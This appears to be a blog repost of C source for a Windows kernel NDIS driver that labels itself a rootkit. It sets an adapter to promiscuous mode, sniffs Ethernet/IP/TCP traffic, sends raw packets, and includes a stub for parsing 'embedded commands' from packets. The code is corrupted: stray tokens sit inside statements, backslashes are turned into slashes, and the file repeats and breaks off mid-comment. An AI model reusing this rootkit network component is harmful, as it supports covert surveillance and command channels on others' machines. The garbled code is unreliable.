basic driver to send/recv raw packets on the network
2006-08-09 18:36
387 查看
//////////////////////////////////////////////////////////////////////////////////////
// BHWIN_NET2, hoglund Jan 2004
// basic driver to send/recv raw packets on the network
//
//////////////////////////////////////////////////////////////////////////////////////
#include "ntddk.h"
// important!! place this before ndis.h
#define NDIS40 1
#include "ndis.h"
#include "stdio.h"
NDIS_PHYSICAL_ADDRESS HighestAcceptableMax =
NDIS_PHYSICAL_ADDRESS_CONST(-1,-1);
#define RESERVED(_p) ((PPACKET_RESERVED)((_p)->ProtocolReserved))
#define TRANSMIT_PACKETS 128
#define ETHERNET_HEADER_LENGTH 14
typedef struct _PACKET_RESERVED {
LIST_ENTRY ListElement;
PIRP Irp;
PVOID pBuffer; /* used for buffers built in kernel mode */
ULONG bufferLen;
PVOID pHeaderBufferP;
ULONG pHeaderBufferLen;
PMDL pMdl;
} PACKET_RESERVED, *PPACKET_RESERVED;
//////////////////////////////////////////////
// prototypes for all our network callbacks
//////////////////////////////////////////////
VOID OnOpenAdapterDone ( IN NDIS_HANDLE ProtocolBindingContext, IN NDIS_STATUS Status, IN NDIS_STATUS OpenErrorStatus );
VOID OnCloseAdapterDone ( IN NDIS_HANDLE ProtocolBindingContext, IN NDIS_STATUS Status );
VOID OnSendDone ( IN NDIS_HANDLE ProtocolBindingContext, IN PNDIS_PACKET pPacket, IN NDIS_STATUS Status );
VOID OnTransferDataDone ( IN NDIS_HANDLE ProtocolBindingContext, IN PNDIS_PACKET Packet, IN NDIS_STATUS Status, IN UINT BytesTransferred );
VOID OnResetDone ( IN NDIS_HANDLE ProtocolBindingContext, IN NDIS_STATUS Status );
VOID OnRequestDone ( IN NDIS_HANDLE ProtocolBindingContext, IN PNDIS_REQUEST pRequest, IN NDIS_STATUS Status );
NDIS_STATUS OnReceiveStub ( IN NDIS_HANDLE ProtocolBindingContext, IN NDIS_HANDLE MacReceiveContext, IN PVOID HeaderBuffer, IN UINT HeaderBufferSize, IN PVOID LookAheadBuffer, IN UINT LookaheadBufferSize, IN UINT PacketSize );
VOID OnReceiveDoneStub ( IN NDIS_HANDLE ProtocolBindingContext );
VOID OnStatus ( IN NDIS_HANDLE ProtocolBindingContext, IN NDIS_STATUS Status, IN PVOID StatusBuffer, IN UINT StatusBufferSize );
VOID OnStatusDone ( IN NDIS_HANDLE ProtocolBindingContext );
VOID OnBindAdapter ( OUT PNDIS_STATUS theStatus, IN NDIS_HANDLE theBindContext, IN PNDIS_STRING theDeviceNameP, IN PVOID theSS1, IN PVOID theSS2 );
VOID OnUnbindAdapter ( OUT PNDIS_STATUS theStatus, IN NDIS_HANDLE theBindContext, IN PNDIS_HANDLE theUnbindContext );
VOID OnUnload ( IN PDRIVER_OBJECT DriverObject );
NDIS_STATUS OnPNPEvent( IN NDIS_HANDLE ProtocolBindingContext,
IN PNET_PNP_EVENT pNetPnPEvent);
VOID OnProtocolUnload( VOID );
INT OnReceivePacket( IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_PACKET Packet );
struct UserStruct
{
ULONG mData;
NDIS_STATUS mStatus;
} gUserStruct;
// handle to the open network adapter
NDIS_HANDLE gAdapterHandle;
NDIS_HANDLE gNdisProtocolHandle;
NDIS_EVENT gCloseWaitEvent;
NDIS_HANDLE gPacketPoolH;
NDIS_HANDLE gBufferPoolH;
// spinlock for multi-threading
KSPIN_LOCK GlobalArraySpinLock;
VOID SendRaw(char *c, int len)
{
NDIS_STATUS aStat;
PNDIS_PACKET aPacketP;
KIRQL aIrqL;
DbgPrint("ROOTKIT: SendRaw called/n");
/* aquire lock, release only when send is complete */
KeAcquireSpinLock(&GlobalArraySpinLock, &aIrqL);
NdisAllocatePacket( &aStat,
&aPacketP,
gPacketPoolH
);
if(NDIS_STATUS_SUCCESS == aStat)
{
PVOID aBufferP;
PNDIS_BUFFER anNdisBufferP;
NdisAllocateMemory( &aBufferP,
len,
0,
HighestAcceptableMax );
memcpy( aBufferP, (PVOID)c, len);
NdisAllocateBuffer( &aStat,
&anNdisBufferP,
gBufferPoolH,
aBufferP,
len
);
if(NDIS_STATUS_SUCCESS == aStat)
{
RESERVED(aPacketP)->Irp = NULL; /* so our OnSendDone() knows this is local */
NdisChainBufferAtBack(aPacketP, anNdisBufferP);
NdisSend( &aStat, gAdapterHandle, aPacketP );
if (aStat != NDIS_STATUS_PENDING )
{
KeReleaseSpinLock(&GlobalArraySpinLock, aIrqL);
OnSendDone( &gUserStruct, aPacketP, aStat );
KeAcquireSpinLock(&GlobalArraySpinLock, &aIrqL);
}
}
else
{
DbgPrint("rootkit: error 0x%X NdisAllocateBuffer/n");
}
}
else
{
DbgPrint("rootkit: error 0x%X NdisAllocatePacket/n");
}
/* release so we can send next.. */
KeReleaseSpinLock(&GlobalArraySpinLock, aIrqL);
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
UINT aMediumIndex = 0;
NDIS_STATUS aStatus, anErrorStatus;
NDIS_MEDIUM aMediumArray=NdisMedium802_3; // we only try 802.3
UNICODE_STRING anAdapterName;
NDIS_PROTOCOL_CHARACTERISTICS aProtocolChar;
NDIS_STRING aProtoName = NDIS_STRING_CONST("ROOTKIT_NET");
DbgPrint("ROOTKIT Loading...");
KeInitializeSpinLock(&GlobalArraySpinLock); /* free me */
/////////////////////////////////////////////////////////////////////////
// Very Important !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
// Hard code this binding string to the adapter you wish to sniff
//
// obtain this from the registry:
// HKLM/SOFTWARE/Microsoft/Windows NT/CurrentVersion/NetworkCards
// -or-
// HKLM/SYSTEM/CurrentControlSet/Services/TcpIp/Linkage
//
//
/*
On my system I have the following linkages:
/Device/{6C0B978B-812D-4621-A30B-FD72F6C446AF} ORiNOCO Wireless LAN PC Card (5 volt)
/Device/{E30AAA3E-044E-40D3-A8FE-64CC01F2B9B5}
/Device/{5436B920-2709-4250-918D-B4ED3BB8CF9A} Dell TrueMobile 1150 Series Wireless LAN Mini PCI Card
/Device/{5A6C6428-C5F2-4BA5-A469-49F607B369F2} 1394 Net Adapter
/Device/{357AC276-D8E7-47BF-954D-F3123D3319BD} 3Com 3C920 Integrated Fast Ethernet Controller (3C905C-TX Compatible)
/Device/{6D615BDB-A6C2-471D-992E-4C0B431334F1} 1394 Net Adapter
/Device/{83EE41D0-5088-4CC7-BC99-CEA55D5662D2} 3Com 3C920 Integrated Fast Ethernet Controller (3C905C-TX Compatible)
/Device/NdisWanIp
/Device/{147E65D7-4065-4249-8679-F79DB39CFC27}
/Device/{6AB35A1D-6D0B-45CA-9F1C-CD125F950D6F}
*/
//
// the format of the string is /Device/{GUID}
/////////////////////////////////////////////////////////////////////////
RtlInitUnicodeString( &anAdapterName, L"//Device//{D6D262BB-0814-46F9-8AC0-117601895E36}" );
// init sync event for close
NdisInitializeEvent(&gCloseWaitEvent);
//__asm int 3
theDriverObject->DriverUnload = OnUnload;
////////////////////////////////////////////////////////////////
// init network sniffer - this is all standard and
// documented in the DDK.
///////////////////////////////////
4000
/////////////////////////////
RtlZeroMemory( &aProtocolChar,
sizeof(NDIS_PROTOCOL_CHARACTERISTICS));
aProtocolChar.MajorNdisVersion = 4;
aProtocolChar.MinorNdisVersion = 0;
aProtocolChar.Reserved = 0;
aProtocolChar.OpenAdapterCompleteHandler = OnOpenAdapterDone;
aProtocolChar.CloseAdapterCompleteHandler = OnCloseAdapterDone;
aProtocolChar.SendCompleteHandler = OnSendDone;
aProtocolChar.TransferDataCompleteHandler = OnTransferDataDone;
aProtocolChar.ResetCompleteHandler = OnResetDone;
aProtocolChar.RequestCompleteHandler = OnRequestDone;
aProtocolChar.ReceiveHandler = OnReceiveStub;
aProtocolChar.ReceiveCompleteHandler = OnReceiveDoneStub;
aProtocolChar.StatusHandler = OnStatus;
aProtocolChar.StatusCompleteHandler = OnStatusDone;
aProtocolChar.Name = aProtoName;
aProtocolChar.BindAdapterHandler = OnBindAdapter;
aProtocolChar.UnbindAdapterHandler = OnUnbindAdapter;
aProtocolChar.UnloadHandler = OnProtocolUnload;
aProtocolChar.ReceivePacketHandler = OnReceivePacket;
aProtocolChar.PnPEventHandler = OnPNPEvent;
DbgPrint("ROOTKIT: Registering NDIS Protocol/n");
// we have to register a protocol before we can bind to the
// MAC
NdisRegisterProtocol( &aStatus,
&gNdisProtocolHandle,
&aProtocolChar,
sizeof(NDIS_PROTOCOL_CHARACTERISTICS));
if (aStatus != NDIS_STATUS_SUCCESS)
{
char _t[255];
_snprintf(_t, 253, "DriverEntry: ERROR NdisRegisterProtocol failed with error 0x%08X", aStatus);
DbgPrint(_t);
return aStatus;
}
// NdisOpenAdapter opens a connection between the protocol
// and the physical adapter (MAC layer)
NdisOpenAdapter(
&aStatus, // return code
&anErrorStatus, // return code
&gAdapterHandle, // returns a handle to the binding
&aMediumIndex, // ptr to int which is an
// index into a 'medium' array - indicates what
// the MAC should be 'viewed' as
&aMediumArray, // array of 'medium' types
1, // number of elements in the 'medium' array
gNdisProtocolHandle, // the handle returned from NdisRegisterProtocol
&gUserStruct, // ptr to a user controlled structure, this is up to the programmer
&anAdapterName, // name of the adapter to be opened
0, // bit mask of options
NULL); // ptr to additional info to pass to MacOpenAdapter
if (aStatus != NDIS_STATUS_PENDING)
{
if(FALSE == NT_SUCCESS(aStatus))
{
/////////////////////////////////////////////////////////////////////////////////
// something bad happened, close everything down
/////////////////////////////////////////////////////////////////////////////////
char _t[255];
_snprintf(_t, 253, "ROOTKIT: NdisOpenAdapter returned an error 0x%08X", aStatus);
DbgPrint(_t);
// helpful hint
if(NDIS_STATUS_ADAPTER_NOT_FOUND == aStatus)
{
DbgPrint("NDIS_STATUS_ADAPTER_NOT_FOUND");
}
// Remove the protocol or suffer a BSOD!
NdisDeregisterProtocol( &aStatus, gNdisProtocolHandle);
if(FALSE == NT_SUCCESS(aStatus))
{
DbgPrint("DeregisterProtocol failed!");
}
// use for winCE -- NdisFreeEvent(gCloseWaitEvent);
return STATUS_UNSUCCESSFUL;
}
else
{
OnOpenAdapterDone(
&gUserStruct,
aStatus,
NDIS_STATUS_SUCCESS
);
}
}
return STATUS_SUCCESS;
}
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
NDIS_STATUS Status;
DbgPrint("ROOTKIT: OnUnload called/n");
NdisResetEvent(&gCloseWaitEvent);
NdisCloseAdapter(
&Status,
gAdapterHandle);
// we must wait for this to complete
// ---------------------------------
if(Status == NDIS_STATUS_PENDING)
{
DbgPrint("rootkit: OnUnload: pending wait event/n");
NdisWaitEvent(&gCloseWaitEvent, 0);
}
NdisDeregisterProtocol( &Status, gNdisProtocolHandle);
if(FALSE == NT_SUCCESS(Status))
{
DbgPrint("DeregisterProtocol failed!");
}
// use for winCE -- NdisFreeEvent(gCloseWaitEvent);
DbgPrint("rootkit: OnUnload: NdisCloseAdapter() done/n");
}
VOID
OnOpenAdapterDone( IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS Status,
IN NDIS_STATUS OpenErrorStatus )
{
NDIS_STATUS aStatus;
NDIS_REQUEST anNdisRequest;
NDIS_STATUS anotherStatus;
ULONG aMode = NDIS_PACKET_TYPE_PROMISCUOUS;
int i;
char _t[]= "/xFF/xFF/xFF/xFF/xFF/xFF/xFF/xFF/xFF/xFF/xFF/xFF/x06____HELLO_WIRELESS_NETWORK____";
int len = strlen(_t);
DbgPrint("ROOTKIT: OnOpenAdapterDone called/n");
if(NT_SUCCESS(OpenErrorStatus))
{
// put the card into promiscuous mode
anNdisRequest.RequestType = NdisRequestSetInformation;
anNdisRequest.DATA.SET_INFORMATION.Oid = OID_GEN_CURRENT_PACKET_FILTER;
anNdisRequest.DATA.SET_INFORMATION.InformationBuffer = &aMode;
anNdisRequest.DATA.SET_INFORMATION.InformationBufferLength = sizeof(ULONG);
NdisRequest( &anotherStatus,
gAdapterHandle,
&anNdisRequest
);
NdisAllocatePacketPool(
&aStatus,
&gPacketPoolH,
TRANSMIT_PACKETS,
sizeof(PACKET_RESERVED));
if (aStatus != NDIS_STATUS_SUCCESS)
{
return;
}
NdisAllocateBufferPool(
&aStatus,
&gBufferPoolH,
TRANSMIT_PACKETS );
if (aStatus != NDIS_STATUS_SUCCESS)
{
return;
}
}
else
{
char _t[255];
_snprintf(_t, 252, "OnOpenAdapterDone called with error code 0x%08X", OpenErrorStatus);
DbgPrint(_t);
}
}
VOID
OnCloseAdapterDone( IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS Status )
{
DbgPrint("ROOTKIT: OnCloseAdapterDone called/n");
// sync with unload event
NdisSetEvent(&gCloseWaitEvent);
}
VOID
OnSendDone( IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_PACKET pPacket,
IN NDIS_STATUS Status )
{
PNDIS_BUFFER anNdisBufferP;
PVOID aBufferP;
UINT aBufferLen;
KIRQL aIrqL;
DbgPrint("ROOTKIT: OnSendDone called/n");
/* aquire lock, release only when send is complete */
KeAcquireSpinLock(&GlobalArraySpinLock, &aIrqL);
NdisUnchainBufferAtFront( pPacket,
&anNdisBufferP );
if(anNdisBufferP)
{
NdisQueryBuffer( anNdisBufferP,
&aBufferP,
&aBufferLen);
if(aBufferP)
{
NdisFreeMemory( aBufferP,
aBufferLen,
0 );
}
NdisFreeBuffer(anNdisBufferP);
}
NdisReinitializePacket(pPacket);
NdisFreePacket(pPacket);
/* release so we can send next.. */
KeReleaseSpinLock(&GlobalArraySpinLock, aIrqL);
}
#define ETH_P_IP 0x0800 /* Internet Protocol packet */
#define ETH_P_RARP 0x8035 /* Reverse Addr Res packet */
#define ETH_P_ARP 0x0806 /* Address Resolution packet */
#define ETH_ALEN 6 /* Octets in one ethernet addr */
struct ether_header
{
unsigned char h_dest[ETH_ALEN]; /* destination eth addr */
unsigned char h_source[ETH_ALEN]; /* source ether addr */
unsigned short h_proto; /* packet type ID field */
};
typedef long n_long;
typedef short n_short;
typedef long n_time;
typedef unsigned short u_short;
typedef unsigned long u_long;
typedef unsigned char u_char;
/* IP Header in Little Endian */
struct iphdr {
u_char ip_hl:4, /* header length */
ip_v:4; /* version */
u_char ip_tos; /* type of service */
short ip_len; /* total length */
u_short ip_id; /* identification */
short ip_off; /* fragment offset field */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
u_char ip_ttl; /* time to live */
u_char ip_p; /* protocol */
u_short ip_sum; /* checksum */
struct in_addr ip_src,ip_dst; /* source and dest address */
};
/////////////////////////////////////////////////////////////////////////
typedef u_long tcp_seq;
// TCP header. Per RFC 793, September, 1981. In Little Endian
struct tcphdr {
u_short th_sport; /* source port */
u_short th_dport; /* destination port */
tcp_seq th_seq; /* sequence number */
tcp_seq th_ack; /* acknowledgement number */
u_char th_x2:4, /* (unused) */
th_off:4; /* data offset */
u_char th_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
u_short th_win; /* window */
u_short th_sum; /* checksum */
u_short th_urp; /* urgent pointer */
};
void OnSniffedPacket(const char* theData, int theLen)
{
char _c[255];
_snprintf(_c, 253, "OnSniffedPacket: got packet length %d", theLen);
DbgPrint(_c);
if(theLen > sizeof(struct ether_header) + sizeof(struct iphdr))
{
struct ether_header *ep = (struct ether_header *)theData;
if(ep)
{
switch(ntohs(ep->h_proto))
{
case ETH_P_RARP:
case ETH_P_ARP:
DbgPrint("Arp packet detected");
break;
case ETH_P_IP:
DbgPrint("IP packet detected");
if(theLen >= sizeof(struct ether_header) + sizeof(struct iphdr))
{
struct iphdr *ih = (struct iphdr *) ( ((char *)ep) + sizeof(struct ether_header));
if(theLen > sizeof( struct ether_header) + sizeof( struct iphdr) + sizeof( struct tcphdr))
{
if(ih)
{
int hlen = ih->ip_hl << 2; /* use this value in case there are IP options */
short of = ntohs(ih->ip_off);
if( of & 0x01FF)
{
char _c[255];
sprintf(_c, "rootkit: packet IP fragmented, offset field: %u/n", of & 0x01FF);
DbgPrint(_c);
}
else if(IPPROTO_TCP == ih->ip_p)
{
}
}
}
}
break;
}
}
}
}
VOID
OnTransferDataDone ( IN NDIS_HANDLE thePBindingContext,
IN PNDIS_PACKET thePacketP,
IN NDIS_STATUS theStatus,
IN UINT theBytesTransfered )
{
PNDIS_BUFFER aNdisBufP;
PVOID aBufferP;
ULONG aBufferLen;
PVOID aHeaderBufferP;
ULONG aHeaderBufferLen;
//DbgPrint("ROOTKIT: OnTransferDataDone called/n");
/////////////////////////////////////////////////////////////////////
// we have a complete packet here, so process internally
/////////////////////////////////////////////////////////////////////
aBufferP = RESERVED(thePacketP)->pBuffer;
aBufferLen = theBytesTransfered;
aHeaderBufferP = RESERVED(thePacketP)->pHeaderBufferP;
aHeaderBufferLen = RESERVED(thePacketP)->pHeaderBufferLen;
/////////////////////////////////////////////////////////////////////
// aHeaderBufferP should be the Ethernet Header
// aBufferP should be the TCP/IP packet
/////////////////////////////////////////////////////////////////////
if(aBufferP && aHeaderBufferP)
{
ULONG aPos = 0;
KIRQL aIrql;
char *aPtr = NULL;
aPtr = ExAllocatePool(NonPagedPool, (aHeaderBufferLen + aBufferLen) );
if(aPtr)
{
memcpy( aPtr,
aHeaderBufferP,
aHeaderBufferLen );
memcpy( aPtr + aHeaderBufferLen,
aBufferP,
aBufferLen );
/////////////////////////////////////////////////////
// we have a complete packet ready to examine
/////////////////////////////////////////////////////
// first parse this packet for embedded commands
OnSniffedPacket(aPtr, (aHeaderBufferLen + aBufferLen));
ExFreePool(aPtr);
}
//DbgPrint("ROOTKIT: OTDD: Freeing Packet Memory/n");
ExFreePool(aBufferP); // we are full
ExFreePool(aHeaderBufferP); // we are full
}
/* free buffer */
//DbgPrint("ROOTKIT: OTDD: NdisUnchainBufferAtFront/n");
NdisUnchainBufferAtFront(thePacketP, &aNdisBufP); // Free buffer descriptor.
if (aNdisBufP) NdisFreeBuffer(aNdisBufP);
/* recycle */
//DbgPrint("ROOTKIT: OTDD: NdisReinitializePacket/n");
NdisReinitializePacket(thePacketP);
NdisFreePacket(thePacketP);
return;
}
/* a packet has arrived */
NDIS_STATUS
OnReceiveStub( IN NDIS_HANDLE ProtocolBindingContext, /* our open structure */
IN NDIS_HANDLE MacReceiveContext,
IN PVOID HeaderBuffer, /* ethernet header */
IN UINT HeaderBufferSize,
IN PVOID LookAheadBuffer, /* it is possible to have entire packet in here */
IN UINT LookaheadBufferSize,
UINT PacketSize )
{
PNDIS_PACKET pPacket;
PNDIS_BUFFER pBuffer;
ULONG SizeToTransfer = 0;
NDIS_STATUS Status;
UINT BytesTransfered;
ULONG BufferLength;
PPACKET_RESERVED Reserved;
NDIS_HANDLE BufferPool;
PVOID aTemp;
UINT Frame_Type = 0;
DbgPrint("ROOTKIT: OnReceiveStub called/n");
SizeToTransfer = PacketSize;
if ((HeaderBufferSize > ETHERNET_HEADER_LENGTH)
||
(SizeToTransfer > (1514 - ETHERNET_HEADER_LENGTH) ))
{
DbgPrint("ROOTKIT: OnReceiveStub returning unaccepted packet/n");
return NDIS_STATUS_NOT_ACCEPTED;
}
#if 1
// NOTE we need to get arp results back
memcpy(&Frame_Type, ( ((char *)HeaderBuffer) + 12), 2)
a879
;
/*
* ignore everything
* except IP (network byte order)
*/
if(Frame_Type != 0x0008)
{
DbgPrint("Ignoring NON-Ethernet frame");
return NDIS_STATUS_NOT_ACCEPTED;
}
#endif
/* store ethernet payload */
aTemp = ExAllocatePool( NonPagedPool, (1514 - ETHERNET_HEADER_LENGTH ));
if(aTemp)
{
//DbgPrint("ROOTKIT: ORI: store ethernet payload/n");
RtlZeroMemory( aTemp, (1514 - ETHERNET_HEADER_LENGTH ));
NdisAllocatePacket(
&Status,
&pPacket,
gPacketPoolH /* previous NdisAllocatePacketPool */
);
if (NDIS_STATUS_SUCCESS == Status)
{
//DbgPrint("ROOTKIT: ORI: store ethernet header/n");
/* store ethernet header */
RESERVED(pPacket)->pHeaderBufferP = ExAllocatePool(NonPagedPool, ETHERNET_HEADER_LENGTH);
DbgPrint("ROOTKIT: ORI: checking ptr/n");
if(RESERVED(pPacket)->pHeaderBufferP)
{
//DbgPrint("ROOTKIT: ORI: pHeaderBufferP/n");
RtlZeroMemory(RESERVED(pPacket)->pHeaderBufferP, ETHERNET_HEADER_LENGTH);
memcpy(RESERVED(pPacket)->pHeaderBufferP, (char *)HeaderBuffer, ETHERNET_HEADER_LENGTH);
RESERVED(pPacket)->pHeaderBufferLen = ETHERNET_HEADER_LENGTH;
NdisAllocateBuffer(
&Status,
&pBuffer,
gBufferPoolH,
aTemp,
(1514 - ETHERNET_HEADER_LENGTH)
);
if (NDIS_STATUS_SUCCESS == Status)
{
//DbgPrint("ROOTKIT: ORI: NDIS_STATUS_SUCCESS/n");
RESERVED(pPacket)->pBuffer = aTemp; /* I have to release this later */
/* Attach our buffer to the packet.. important */
NdisChainBufferAtFront(pPacket, pBuffer);
//DbgPrint("ROOTKIT: ORI: NdisTransferData/n");
NdisTransferData(
&(gUserStruct.mStatus),
gAdapterHandle,
MacReceiveContext,
0,
SizeToTransfer,
pPacket,
&BytesTransfered);
if (Status != NDIS_STATUS_PENDING)
{
//DbgPrint("ROOTKIT: ORI: did not pend/n");
/* If it didn't pend, call the completion routine now */
OnTransferDataDone(
&gUserStruct,
pPacket,
Status,
BytesTransfered
);
}
return NDIS_STATUS_SUCCESS;
}
ExFreePool(RESERVED(pPacket)->pHeaderBufferP);
}
else
{
DbgPrint("ROOTKIT: ORI: pHeaderBufferP allocation failed!/n");
}
//DbgPrint("ROOTKIT: ORI: NdisFreePacket()/n");
NdisFreePacket(pPacket);
}
//DbgPrint("ROOTKIT: ORI: ExFreePool()/n");
ExFreePool(aTemp);
}
return NDIS_STATUS_SUCCESS;
}
VOID
OnReceiveDoneStub( IN NDIS_HANDLE ProtocolBindingContext )
{
//DbgPrint("ROOTKIT: OnReceiveDoneStub called/n");
return;
}
VOID
OnStatus( IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS Status,
IN PVOID StatusBuffer,
IN UINT StatusBufferSize )
{
DbgPrint("ROOTKIT: OnStatus called/n");
return;
}
VOID
OnStatusDone( IN NDIS_HANDLE ProtocolBindingContext )
{
DbgPrint("ROOTKIT:OnStatusDone called/n");
return;
}
VOID OnResetDone( IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS Status )
{
DbgPrint("ROOTKIT: OnResetDone called/n");
return;
}
VOID
OnRequestDone( IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_REQUEST NdisRequest,
IN NDIS_STATUS Status )
{
DbgPrint("ROOTKIT: OnRequestDone called/n");
return;
}
VOID OnBindAdapter( OUT PNDIS_STATUS theStatus,
IN NDIS_HANDLE theBindContext,
IN PNDIS_STRING theDeviceNameP,
IN PVOID theSS1,
IN PVOID theSS2 )
{
DbgPrint("ROOTKIT: OnBindAdapter called/n");
return;
}
VOID OnUnbindAdapter( OUT PNDIS_STATUS theStatus,
IN NDIS_HANDLE theBindContext,
IN PNDIS_HANDLE theUnbindContext )
{
DbgPrint("ROOTKIT: OnUnbindAdapter called/n");
return;
}
NDIS_STATUS OnPNPEvent( IN NDIS_HANDLE ProtocolBindingContext,
IN PNET_PNP_EVENT pNetPnPEvent)
{
DbgPrint("ROOTKIT: PtPnPHandler called");
return NDIS_STATUS_SUCCESS;
}
VOID OnProtocolUnload( VOID )
{
DbgPrint("ROOTKIT: OnProtocolUnload called");
return;
}
INT OnReceivePacket( IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_PACKET Packet )
{
DbgPrint("ROOTKIT: OnReceivePacket called/n");
return 0;
}
// BHWIN_NET2, hoglund Jan 2004
// basic driver to send/recv raw packets on the network
//
//////////////////////////////////////////////////////////////////////////////////////
#include "ntddk.h"
// important!! place this before ndis.h
#define NDIS40 1
#include "ndis.h"
#include "stdio.h"
NDIS_PHYSICAL_ADDRESS HighestAcceptableMax =
NDIS_PHYSICAL_ADDRESS_CONST(-1,-1);
#define RESERVED(_p) ((PPACKET_RESERVED)((_p)->ProtocolReserved))
#define TRANSMIT_PACKETS 128
#define ETHERNET_HEADER_LENGTH 14
typedef struct _PACKET_RESERVED {
LIST_ENTRY ListElement;
PIRP Irp;
PVOID pBuffer; /* used for buffers built in kernel mode */
ULONG bufferLen;
PVOID pHeaderBufferP;
ULONG pHeaderBufferLen;
PMDL pMdl;
} PACKET_RESERVED, *PPACKET_RESERVED;
//////////////////////////////////////////////
// prototypes for all our network callbacks
//////////////////////////////////////////////
VOID OnOpenAdapterDone ( IN NDIS_HANDLE ProtocolBindingContext, IN NDIS_STATUS Status, IN NDIS_STATUS OpenErrorStatus );
VOID OnCloseAdapterDone ( IN NDIS_HANDLE ProtocolBindingContext, IN NDIS_STATUS Status );
VOID OnSendDone ( IN NDIS_HANDLE ProtocolBindingContext, IN PNDIS_PACKET pPacket, IN NDIS_STATUS Status );
VOID OnTransferDataDone ( IN NDIS_HANDLE ProtocolBindingContext, IN PNDIS_PACKET Packet, IN NDIS_STATUS Status, IN UINT BytesTransferred );
VOID OnResetDone ( IN NDIS_HANDLE ProtocolBindingContext, IN NDIS_STATUS Status );
VOID OnRequestDone ( IN NDIS_HANDLE ProtocolBindingContext, IN PNDIS_REQUEST pRequest, IN NDIS_STATUS Status );
NDIS_STATUS OnReceiveStub ( IN NDIS_HANDLE ProtocolBindingContext, IN NDIS_HANDLE MacReceiveContext, IN PVOID HeaderBuffer, IN UINT HeaderBufferSize, IN PVOID LookAheadBuffer, IN UINT LookaheadBufferSize, IN UINT PacketSize );
VOID OnReceiveDoneStub ( IN NDIS_HANDLE ProtocolBindingContext );
VOID OnStatus ( IN NDIS_HANDLE ProtocolBindingContext, IN NDIS_STATUS Status, IN PVOID StatusBuffer, IN UINT StatusBufferSize );
VOID OnStatusDone ( IN NDIS_HANDLE ProtocolBindingContext );
VOID OnBindAdapter ( OUT PNDIS_STATUS theStatus, IN NDIS_HANDLE theBindContext, IN PNDIS_STRING theDeviceNameP, IN PVOID theSS1, IN PVOID theSS2 );
VOID OnUnbindAdapter ( OUT PNDIS_STATUS theStatus, IN NDIS_HANDLE theBindContext, IN PNDIS_HANDLE theUnbindContext );
VOID OnUnload ( IN PDRIVER_OBJECT DriverObject );
NDIS_STATUS OnPNPEvent( IN NDIS_HANDLE ProtocolBindingContext,
IN PNET_PNP_EVENT pNetPnPEvent);
VOID OnProtocolUnload( VOID );
INT OnReceivePacket( IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_PACKET Packet );
struct UserStruct
{
ULONG mData;
NDIS_STATUS mStatus;
} gUserStruct;
// handle to the open network adapter
NDIS_HANDLE gAdapterHandle;
NDIS_HANDLE gNdisProtocolHandle;
NDIS_EVENT gCloseWaitEvent;
NDIS_HANDLE gPacketPoolH;
NDIS_HANDLE gBufferPoolH;
// spinlock for multi-threading
KSPIN_LOCK GlobalArraySpinLock;
VOID SendRaw(char *c, int len)
{
NDIS_STATUS aStat;
PNDIS_PACKET aPacketP;
KIRQL aIrqL;
DbgPrint("ROOTKIT: SendRaw called/n");
/* aquire lock, release only when send is complete */
KeAcquireSpinLock(&GlobalArraySpinLock, &aIrqL);
NdisAllocatePacket( &aStat,
&aPacketP,
gPacketPoolH
);
if(NDIS_STATUS_SUCCESS == aStat)
{
PVOID aBufferP;
PNDIS_BUFFER anNdisBufferP;
NdisAllocateMemory( &aBufferP,
len,
0,
HighestAcceptableMax );
memcpy( aBufferP, (PVOID)c, len);
NdisAllocateBuffer( &aStat,
&anNdisBufferP,
gBufferPoolH,
aBufferP,
len
);
if(NDIS_STATUS_SUCCESS == aStat)
{
RESERVED(aPacketP)->Irp = NULL; /* so our OnSendDone() knows this is local */
NdisChainBufferAtBack(aPacketP, anNdisBufferP);
NdisSend( &aStat, gAdapterHandle, aPacketP );
if (aStat != NDIS_STATUS_PENDING )
{
KeReleaseSpinLock(&GlobalArraySpinLock, aIrqL);
OnSendDone( &gUserStruct, aPacketP, aStat );
KeAcquireSpinLock(&GlobalArraySpinLock, &aIrqL);
}
}
else
{
DbgPrint("rootkit: error 0x%X NdisAllocateBuffer/n");
}
}
else
{
DbgPrint("rootkit: error 0x%X NdisAllocatePacket/n");
}
/* release so we can send next.. */
KeReleaseSpinLock(&GlobalArraySpinLock, aIrqL);
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
UINT aMediumIndex = 0;
NDIS_STATUS aStatus, anErrorStatus;
NDIS_MEDIUM aMediumArray=NdisMedium802_3; // we only try 802.3
UNICODE_STRING anAdapterName;
NDIS_PROTOCOL_CHARACTERISTICS aProtocolChar;
NDIS_STRING aProtoName = NDIS_STRING_CONST("ROOTKIT_NET");
DbgPrint("ROOTKIT Loading...");
KeInitializeSpinLock(&GlobalArraySpinLock); /* free me */
/////////////////////////////////////////////////////////////////////////
// Very Important !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
// Hard code this binding string to the adapter you wish to sniff
//
// obtain this from the registry:
// HKLM/SOFTWARE/Microsoft/Windows NT/CurrentVersion/NetworkCards
// -or-
// HKLM/SYSTEM/CurrentControlSet/Services/TcpIp/Linkage
//
//
/*
On my system I have the following linkages:
/Device/{6C0B978B-812D-4621-A30B-FD72F6C446AF} ORiNOCO Wireless LAN PC Card (5 volt)
/Device/{E30AAA3E-044E-40D3-A8FE-64CC01F2B9B5}
/Device/{5436B920-2709-4250-918D-B4ED3BB8CF9A} Dell TrueMobile 1150 Series Wireless LAN Mini PCI Card
